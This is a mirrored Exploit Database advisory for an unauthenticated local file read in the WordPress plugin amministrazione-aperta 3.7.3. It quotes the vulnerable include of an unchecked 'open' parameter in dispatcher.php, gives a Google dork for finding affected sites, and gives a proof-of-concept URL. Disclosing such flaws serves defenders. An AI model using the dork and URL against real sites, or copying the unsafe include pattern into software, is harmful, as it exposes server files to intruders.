WordPress Plugin amministrazione-aperta 3.7.3 – Local File Read – Unauthenticated

• Exploit Database
• 40 阅读

• 作者： Hassan Khan Yusufzai
  日期： 2022-03-23
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50838/

• # Exploit Title: WordPress Plugin amministrazione-aperta 3.7.3 - Local File Read - Unauthenticated
  # Google Dork: inurl:/wp-content/plugins/amministrazione-aperta/
  # Date: 23-03-2022
  # Exploit Author: Hassan Khan Yusufzai - Splint3r7
  # Vendor Homepage: https://wordpress.org/plugins/amministrazione-aperta/
  # Version: 3.7.3
  # Tested on: Firefox
  
  # Vulnerable File: dispatcher.php
  
  # Vulnerable Code:
  
  ```
  if ( isset($_GET['open']) ) {
  include(ABSPATH . 'wp-content/plugins/'.$_GET['open']);
  } else {
  echo '
  <div id="welcome-panel" class="welcome-panel"
  style="padding-bottom: 20px;">
  <div class="welcome-panel-column-container">';
  
  include_once( ABSPATH . WPINC . '/feed.php' );
  ```
  
  # Proof of Concept:
  
  localhost/wp-content/plugins/amministrazione-aperta/wpgov/dispatcher.php?open=[LFI]